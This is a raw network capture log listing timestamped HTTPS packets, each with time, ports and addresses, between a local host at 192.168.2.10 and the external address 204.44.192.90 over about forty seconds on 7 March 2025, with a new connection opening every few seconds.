Mar 7, 2025 16:07:11.393004894 CET	443	49692	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:11.393088102 CET	49692	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:11.393100977 CET	443	49692	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:11.449050903 CET	49692	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:11.450263977 CET	443	49692	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:11.450335026 CET	49692	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:11.450349092 CET	443	49692	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:11.450366974 CET	443	49692	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:11.450450897 CET	49692	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:11.450850010 CET	49692	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:11.452173948 CET	49693	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:11.452214003 CET	443	49693	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:11.452313900 CET	49693	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:11.453015089 CET	49693	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:11.453027964 CET	443	49693	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:13.279720068 CET	443	49693	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:13.281528950 CET	49693	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:13.281567097 CET	443	49693	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:14.191869974 CET	443	49693	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:14.191893101 CET	443	49693	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:14.191989899 CET	49693	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:14.192009926 CET	443	49693	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:14.217962027 CET	443	49693	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:14.218130112 CET	49693	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:14.218141079 CET	443	49693	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:14.239308119 CET	443	49693	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:14.239412069 CET	443	49693	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:14.239454031 CET	49693	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:14.239598989 CET	49693	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:14.239835978 CET	49693	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:14.240581036 CET	49694	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:14.240622997 CET	443	49694	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:14.240778923 CET	49694	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:14.241087914 CET	49694	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:14.241099119 CET	443	49694	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:16.035110950 CET	443	49694	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:16.036818027 CET	49694	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:16.036847115 CET	443	49694	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:16.932569027 CET	443	49694	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:16.932596922 CET	443	49694	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:16.932676077 CET	49694	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:16.932697058 CET	443	49694	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:16.952739954 CET	443	49694	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:16.952832937 CET	49694	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:16.952847958 CET	443	49694	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:16.988725901 CET	443	49694	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:16.988806009 CET	443	49694	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:16.988874912 CET	49694	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:16.988934040 CET	49694	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:16.990928888 CET	49694	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:16.991935968 CET	49695	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:16.991991043 CET	443	49695	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:16.992054939 CET	49695	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:16.992324114 CET	49695	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:16.992338896 CET	443	49695	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:18.694941044 CET	443	49695	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:18.696629047 CET	49695	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:18.696655989 CET	443	49695	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:19.593981028 CET	443	49695	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:19.594053030 CET	443	49695	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:19.594121933 CET	49695	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:19.594150066 CET	443	49695	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:19.634598017 CET	443	49695	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:19.634687901 CET	49695	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:19.634700060 CET	443	49695	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:19.643277884 CET	443	49695	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:19.643351078 CET	49695	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:19.643361092 CET	443	49695	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:19.643399000 CET	49695	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:19.643457890 CET	443	49695	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:19.643501997 CET	49695	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:19.644047976 CET	49695	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:19.644731045 CET	49696	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:19.644758940 CET	443	49696	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:19.644819975 CET	49696	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:19.645077944 CET	49696	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:19.645088911 CET	443	49696	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:21.413708925 CET	443	49696	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:21.415472984 CET	49696	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:21.415501118 CET	443	49696	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:22.332303047 CET	443	49696	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:22.332341909 CET	443	49696	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:22.332472086 CET	49696	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:22.332485914 CET	443	49696	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:22.354536057 CET	443	49696	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:22.354629040 CET	49696	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:22.354640961 CET	443	49696	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:22.390959978 CET	443	49696	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:22.391035080 CET	443	49696	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:22.391211033 CET	49696	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:22.391308069 CET	49696	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:22.391985893 CET	49696	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:22.392858982 CET	49697	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:22.392900944 CET	443	49697	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:22.392966032 CET	49697	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:22.393227100 CET	49697	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:22.393241882 CET	443	49697	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:24.058316946 CET	443	49697	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:24.060661077 CET	49697	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:24.060688019 CET	443	49697	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:24.991753101 CET	443	49697	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:24.991791964 CET	443	49697	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:24.991951942 CET	49697	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:24.991988897 CET	443	49697	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:25.013901949 CET	443	49697	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:25.014050961 CET	49697	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:25.014089108 CET	443	49697	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:25.052131891 CET	443	49697	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:25.052236080 CET	443	49697	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:25.052325010 CET	49697	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:25.052360058 CET	49697	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:25.052725077 CET	49697	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:25.053580046 CET	49698	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:25.053617001 CET	443	49698	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:25.053730011 CET	49698	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:25.054212093 CET	49698	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:25.054225922 CET	443	49698	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:26.775541067 CET	443	49698	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:26.779073000 CET	49698	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:26.779090881 CET	443	49698	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:27.712593079 CET	443	49698	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:27.712605000 CET	443	49698	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:27.712667942 CET	49698	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:27.712683916 CET	443	49698	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:27.751338959 CET	443	49698	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:27.751425982 CET	49698	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:27.751450062 CET	443	49698	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:27.792850971 CET	49698	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:27.798077106 CET	443	49698	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:27.798160076 CET	443	49698	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:27.798175097 CET	49698	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:27.798218012 CET	49698	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:27.798644066 CET	49698	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:27.799391985 CET	49699	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:27.799431086 CET	443	49699	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:27.799489021 CET	49699	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:27.799799919 CET	49699	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:27.799810886 CET	443	49699	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:29.464236021 CET	443	49699	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:29.466402054 CET	49699	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:29.466434002 CET	443	49699	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:30.401000977 CET	443	49699	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:30.401046991 CET	443	49699	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:30.401151896 CET	49699	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:30.401181936 CET	443	49699	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:30.421127081 CET	443	49699	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:30.421196938 CET	49699	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:30.421205997 CET	443	49699	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:30.448904991 CET	443	49699	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:30.448960066 CET	49699	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:30.448970079 CET	443	49699	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:30.448999882 CET	443	49699	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:30.449023962 CET	49699	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:30.449060917 CET	49699	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:30.449476957 CET	49699	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:30.450293064 CET	49700	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:30.450354099 CET	443	49700	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:30.450489998 CET	49700	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:30.450848103 CET	49700	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:30.450866938 CET	443	49700	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:32.495064974 CET	443	49700	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:32.503154039 CET	49700	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:32.503185987 CET	443	49700	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:33.398533106 CET	443	49700	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:33.398560047 CET	443	49700	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:33.398696899 CET	49700	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:33.398718119 CET	443	49700	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:33.418927908 CET	443	49700	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:33.419028997 CET	49700	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:33.419049978 CET	443	49700	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:33.448404074 CET	443	49700	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:33.448498011 CET	443	49700	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:33.448538065 CET	49700	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:33.448575974 CET	49700	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:33.449095011 CET	49700	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:33.449851036 CET	49703	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:33.449887991 CET	443	49703	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:33.449976921 CET	49703	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:33.450258970 CET	49703	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:33.450277090 CET	443	49703	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:35.243737936 CET	443	49703	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:35.254419088 CET	49703	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:35.254451990 CET	443	49703	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:36.156137943 CET	443	49703	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:36.156162024 CET	443	49703	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:36.156253099 CET	49703	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:36.156280994 CET	443	49703	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:36.174360037 CET	443	49703	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:36.174454927 CET	49703	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:36.174467087 CET	443	49703	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:36.214831114 CET	49703	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:36.224832058 CET	443	49703	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:36.224920988 CET	443	49703	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:36.225054979 CET	49703	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:36.225054979 CET	49703	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:36.225478888 CET	49703	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:36.226325035 CET	49704	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:36.226361036 CET	443	49704	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:36.226630926 CET	49704	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:36.226850986 CET	49704	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:36.226865053 CET	443	49704	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:37.943291903 CET	443	49704	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:37.945456028 CET	49704	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:37.945476055 CET	443	49704	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:38.853380919 CET	443	49704	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:38.853410959 CET	443	49704	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:38.853600025 CET	49704	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:38.853617907 CET	443	49704	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:38.873794079 CET	443	49704	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:38.873929024 CET	49704	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:38.873944998 CET	443	49704	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:38.895663023 CET	443	49704	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:38.895740032 CET	443	49704	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:38.895751953 CET	49704	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:38.895864964 CET	49704	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:38.896193027 CET	49704	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:38.896877050 CET	49705	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:38.896927118 CET	443	49705	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:38.896989107 CET	49705	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:38.897233009 CET	49705	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:38.897245884 CET	443	49705	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:40.616641045 CET	443	49705	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:40.620070934 CET	49705	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:40.620105982 CET	443	49705	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:41.545552015 CET	443	49705	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:41.545584917 CET	443	49705	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:41.545720100 CET	49705	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:41.545752048 CET	443	49705	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:41.545766115 CET	49705	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:41.566004992 CET	443	49705	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:41.566121101 CET	49705	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:41.566145897 CET	443	49705	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:41.591672897 CET	443	49705	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:41.591768026 CET	443	49705	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:41.591826916 CET	49705	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:41.592153072 CET	49705	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:41.592153072 CET	49705	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:41.592823982 CET	49706	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:41.592856884 CET	443	49706	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:41.592946053 CET	49706	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:41.593194962 CET	49706	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:41.593208075 CET	443	49706	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:43.306226015 CET	443	49706	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:43.308021069 CET	49706	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:43.308051109 CET	443	49706	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:44.209678888 CET	443	49706	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:44.209708929 CET	443	49706	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:44.209860086 CET	49706	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:44.209877968 CET	443	49706	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:44.229753017 CET	443	49706	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:44.229846954 CET	49706	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:44.229857922 CET	443	49706	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:44.277266026 CET	49706	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:44.280236959 CET	443	49706	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:44.280370951 CET	443	49706	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:44.280416965 CET	49706	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:44.280416965 CET	49706	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:44.287245035 CET	49706	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:44.287959099 CET	49707	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:44.288009882 CET	443	49707	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:44.289010048 CET	49707	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:44.289326906 CET	49707	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:44.289339066 CET	443	49707	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:45.966131926 CET	443	49707	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:45.968154907 CET	49707	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:45.968166113 CET	443	49707	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:46.857659101 CET	443	49707	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:46.857687950 CET	443	49707	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:46.857925892 CET	49707	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:46.857949018 CET	443	49707	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:46.893379927 CET	443	49707	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:46.893495083 CET	49707	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:46.893506050 CET	443	49707	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:46.917011976 CET	443	49707	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:46.917098045 CET	443	49707	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:46.917108059 CET	49707	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:46.917210102 CET	49707	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:46.917622089 CET	49707	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:46.918538094 CET	49708	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:46.918571949 CET	443	49708	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:46.918704033 CET	49708	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:46.918992043 CET	49708	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:46.919008017 CET	443	49708	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:48.630578041 CET	443	49708	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:48.633316994 CET	49708	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:48.633335114 CET	443	49708	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:49.507817984 CET	443	49708	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:49.507843018 CET	443	49708	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:49.508095980 CET	49708	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:49.508131027 CET	443	49708	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:49.553965092 CET	443	49708	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:49.554109097 CET	49708	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:49.554131031 CET	443	49708	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:49.573273897 CET	443	49708	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:49.573357105 CET	443	49708	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:49.573579073 CET	49708	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:49.573921919 CET	49708	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:49.575048923 CET	49709	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:49.575088978 CET	443	49709	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:49.575177908 CET	49709	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:49.575542927 CET	49709	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:49.575558901 CET	443	49709	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:51.324718952 CET	443	49709	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:51.326795101 CET	49709	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:51.326864004 CET	443	49709	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:52.278480053 CET	443	49709	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:52.278516054 CET	443	49709	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:52.278769970 CET	49709	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:52.278794050 CET	443	49709	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:52.284813881 CET	443	49709	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:52.284933090 CET	49709	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:52.284941912 CET	443	49709	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:52.301855087 CET	443	49709	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:52.301934004 CET	443	49709	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:52.302063942 CET	49709	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:52.302531958 CET	49709	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:52.302531958 CET	49709	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:52.303206921 CET	49710	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:52.303240061 CET	443	49710	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:52.303329945 CET	49710	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:52.303587914 CET	49710	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:52.303605080 CET	443	49710	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:54.015913010 CET	443	49710	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:54.018079996 CET	49710	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:54.018091917 CET	443	49710	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:54.878386974 CET	443	49710	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:54.878405094 CET	443	49710	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:54.878494024 CET	49710	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:54.878513098 CET	443	49710	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:54.897536993 CET	443	49710	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:54.897711992 CET	49710	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:54.897722960 CET	443	49710	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:54.938534975 CET	49710	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:54.945183992 CET	443	49710	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:54.945274115 CET	443	49710	204.44.192.90	192.168.2.10
Mar 7, 2025 16:07:54.945296049 CET	49710	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:54.945353985 CET	49710	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:54.951335907 CET	49710	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:54.952136040 CET	49711	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:07:54.952193022 CET	443	49711	204.44.192.90	192.168.2.10
